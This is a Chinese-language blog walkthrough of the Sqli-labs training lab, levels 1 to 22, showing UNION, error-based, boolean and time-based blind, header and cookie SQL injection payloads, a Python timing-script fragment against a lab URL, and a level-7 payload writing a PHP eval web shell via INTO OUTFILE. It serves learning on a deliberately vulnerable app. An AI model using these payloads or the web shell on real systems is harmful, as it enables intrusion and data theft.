Life has its own fate, and meeting may not be accidental.

0%

Sqli-labs(Page-1)

注入的sql一直想写来着的。之前数据库课偷懒的我,留下了悔恨的眼泪。。。(后面看着太烦了就没听了)

Less-1

order by语句

order by(默认升序排列) 可以测试一下当前一共select了多少个字段

select * from user where username='1' ORDER BY 3 -- +'

union 联合查询语句

union前后的两个sql语句的选择列数要相同才可以。Union all与union 的区别是增加了去重的功能。当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。

1
select * from user where username='-1' UNION select 1,version(),database() -- +

查询版本号,数据库名

数据库名,利用information_schema.SCHEMATA这个表

1
select * from user where username='-1' UNION select 1,group_concat(SCHEMA_NAME),4 FROM information_schema.SCHEMATA -- +'

查表,利用information_schema.TABLES这个表

1
select * from user where username='-1' UNION select 1,group_concat(table_name),4 FROM information_schema.`TABLES` WHERE TABLE_SCHEMA='ctftraining' -- +'

报ctftraining数据库的flag表的字段名

1
select * from user where username='-1' UNION select 1,group_concat(column_name),4 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='ctftraining' AND TABLE_NAME='flag' -- +'

查找ctftraining数据库的flag表的flag字段的值

1
select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'

less-2

1 ' -- +发现报错了,应该是应该是单引号影响了闭合。题目又说整数型报错。
所以猜测语句为:

1
$sql="select * from users where id='$id'";

所以不需要闭合直接用lesss-1的payload就行了,以防万一注释掉后面的内容

1
select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'

less-3

简单注入了一下看报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'union select 1,2,3 -- ') LIMIT 0,1' at line 1

猜测语句:

$sql="select * from users where id=('$id')";
所以只需要将括号闭合:

1
select * from user where username='-1') UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +'

less-4

单引号闭合之后发现没有东西,然后尝试双引号闭合,发现报错:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'union select 1,version(),database() -- ") LIMIT 0,1' at line 1

应该是双引号加括号,猜测语句:

$sql="select * from users where id=("$id")";
所以将)闭合。

1
select * from user where username="-1") union select 1,group_concat(flag),4 FROM ctftraining.flag -- +'

less-5(无回显报错注入)

看到有一种盲注解法,不过我感觉后面应该能碰到就不学这个先
随便注入一下,发现除了报错输出的都是YOU are in........
怀疑是无回显,学习了详细讲解双查询注入,懂了一些才敢往下写= =。

Mysql报错注入原理分析(count()、rand()、group by)

Mysql报错注入原理分析(count()、rand()、group by)
参考这篇文章。

当count()、和rand、以及group by三者同时使用,产生报错。
当rand()为空值时,概率报错。(必要条件:两条数据以上)
而当rand(0)时,必定报错(必要条件:三条数据以上)

对比的是最终的查询表,而不是一开始的。后面会说!

![用的rand()没报错(概率报错)](6jpg %}

利用回显的报错,来爆出数据库以及表:

1
2
3
4
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(schema_name)
from information_schema.schemata limit 0,1),floor(rand()*2)) as x
from information_schema.tables group by x)as a -- +

数据库

1
2
rand()~~~随机一个0-1的小数
floor()~~~取整

将在information_schema.schemata这个数据库表的schema_name字段(数据库名)查出,然后把该字段的值拿去information_schema.tables
,然后利用count()、rand()、group by共用产生报错,来报错获取数据库名。
limit n,1更改n,来获取之后的表(有概率失败,多试几次)。
可以使用and连接,记得加括号,不过我这边用的是union

1
2
3
4
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(schema_name)
from information_schema.schemata limit 0,1),floor(rand()*2)) as x
from information_schema.tables group by x)as a -- +

数据表

information_schema.tables里面查出来的TABLE_NAME(数据表名),拿去查information_schema.columns中的字段名,通过count()、rand()、group by共用产生报错,来获取数据表名

1
2
3
4
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(table_name)
from information_schema.tables limit 0,1),floor(rand()*2)) as x
from information_schema.columns group by x)as a -- +

字段名

information_schema.COLUMNS里面查出来的flag数据表的column_name(字段名),拿去查information_schema.columns,利用count()、rand()、group by共用产生报错,获取字段名。

1
2
3
4
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(column_name)
from information_schema.COLUMNS WHERE table_name='flag' limit 0,1),floor(rand(0)*2)) as x
from information_schema.columns group by x)as a -- +

查数据

ctftraining.flag里面查出来的flag,拿到information_schema.tables,利用count()、rand()、group by共用产生报错,获取数据。虽然flag数据表中只有一条数据,实际上它查询的时候是看information_schema.tables中是否两条以上。

1
2
3
4
select * from user
where id= '-1'union select 1,2,3 from (select count(*),concat((select concat(flag)
from ctftraining.flag limit 0,1),floor(rand(0)*2)) as x
from information_schema.tables group by x)as a -- +

![我flag里面只有一条数据,但是依旧能查出来,所以看的是后面的数据表](10jpg %}

less-6

单引号没显示,双引号显示了报错。题目给的也是双引号(据题原理看上题,讲的很详细了。如果没懂可以通过联系方式联系我),利用上题payload:

1
2
3
4
select * from user
where id= "-1" union select 1,2,3 from (select count(*),concat((select concat(column_name)
from information_schema.COLUMNS WHERE table_name='flag' limit 0,1),floor(rand(0)*2)) as x
from information_schema.columns group by x)as a -- +

less-7

7是让我们写入文件,我也看到有别的办法。不过我看网上利用注册表来拿到绝对路径信息。我感觉太麻烦了= =。记录一下payload。以后遇到了再写。

1
?id=1'))UNION SELECT 1,2,'<?php @eval($_post["mima"])?>' into outfile "绝对路径\sqllib\\Less-7\\yijuhua.php"--+

less-8(布尔盲注)

这关报错被注释了,看有些人用的时间盲注,这边准备学习布尔盲注。两个盲注意思我都懂,但是不知道怎么实现= =。没事慢慢来~~~
![借别人的图= =](11.png %}

具体讲解可以看下面两篇文章,因为之前就了解过这个东西,所以也比较容易理解。

布尔盲注
MYSQL注入天书之盲注讲解

盲注是要写脚本得,建议自己写一下。我写了个代码,可以边学边参考。语句的话可以在本地搞搞自己的mysql。有些命令,命令行可以弄到,但是Navicat不行。总而言之就是多试试= =。别偷懒~~

![盲注的脚本](11jpg %}

点击下载代码

less-9

这题是时间盲注,思路的话,大概就是查ascii码,利用if语句和sleep()函数,正确的话直接返回,睡五秒钟再返回,就相当于if,else,成立的话在你设定的时间之后返回,否则睡眠sleep(n),n秒钟再返回

1
select * from user where id='1' and If(ascii(substr(database(),2,1))=102,1,sleep(5))--+

![时间注入原理](12jpg %}

然后写脚本的时候当我们每次尝试注入的时候,先获取当前的time,然后get(post)请求之后,查看返回的时间是否大于你设定的时间。
截一小段代码意思一下好了。思路反正和布尔盲注是一样的。都是盲注。

1
2
3
4
5
6
7
8
9
10
11
url = "http://2a18140a-af6e-46c4-b272-140b0d0fd6b5.node3.buuoj.cn/Less-8/?id=1"
target="'and if(ascii(substr(database(),2,1))=101,sleep(1.5),0)--+"
num=1.5
start_time = time.time()
r = requests.get(url)
end_time = time.time()
if end_time-start_time>=1.5:
print("成立")
break;
else:
print("不成立")

less-10

这题就是上面那题变成了双引号注入

1
select * from user where id="1" and If(ascii(substr(database(),2,1))=102,1,sleep(5)) -- +

less-11

这题和less-1一样,但是他是两列,我一开始以为是三列,然后order by了一下,发现是两列,估计是username和password。

1
select * from user where username="-1" UNION select version(),database() -- + and password=("123456");

less-12

这题就变成了双引号,加括号。

1
select * from user where username=("-1") UNION select version(),database() -- + and password=("123456");

less-13

这题就是单引号,加括号。

1
select * from user where username=('-1') UNION select version(),database() -- + and password=("123456");

less-14

这题就是纯单引号。测试的时候可以多测试几遍,或者看他报错信息。

1
select * from user where username="1" UNION select version(),database() -- + and password=("123456");

less-15

这题就是单引号闭合,但是关闭了报错和无回显,可以用时间盲注或者布尔盲注。
类型的话和less-14一样

less-16

这题就是双引号加括号闭合,关闭了回显和报错,可以用时间盲注或者布尔盲注。

less-17

这题可以是更改密码,但是前提是要知道账号,看源码可以发现题目中对username进行了验证,所以只能再password来进行注入。
我这边用的是and,再加count(*)、rand(0)、group by的报错查询注入。

1
1' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables limit 0,1),floor(rand(0)*2)) as x from information_schema.columns group by x)as a) -- +

![less-17](13jpg %}

另一种做法

利用updatexml来进行报错信息注入

数据库名:

1
uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+

表名:

1
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+

接下来模仿操作就行。

less-18

也利用上面的updatexml来进行报错注入

![less-18](14jpg %}

1
' or updatexml(1,concat(0x7e,(database())),0))-- +

注释之前多一个)闭合千万别忘了,可以看看源码
![less-18](15jpg %}

less-19

可以看到登陆成功后显示Referer,判断注入点在这。
我们看一下源码:

1
2
3
4
5
6
7
8
9
10
if($row1){
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo 'Your Referer is: ' .$uagent;
print_r(mysql_error());
echo '<img src="../images/flag.jpg" />';

}

![less-19](16jpg %}

less-20

看下源码,发现应该是存在cookie注入的,登陆成功后会显示你的个人信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result){
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row){
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}

代码后半段发现会把cookie里面的内容衔接进去查询,所以我们可以在cookie里面构造注入
读取数据库名:

1
cookie:' union select 1,2,group_concat(schema_name)from information_schema.schemata #

less-21

![less-21](18jpg %}
分析源码会发现有一步解码操作,也就是说我们要将cookie里面的内容先转成base64,注意下面的sql语句存在括号,所以要)闭合(千万别忘了)。

1
$cookee = base64_decode($cookee);

less-22

![less-22](19jpg %}
看源码,多了一步双引号包裹,懂我意思吧!


拖了半个月了终于解决了一个Page。。。。

参考

双查询注入
Mysql报错注入原理分析(count()、rand()、group by)
MySQL updatexml报错注入
Sqli-labs源码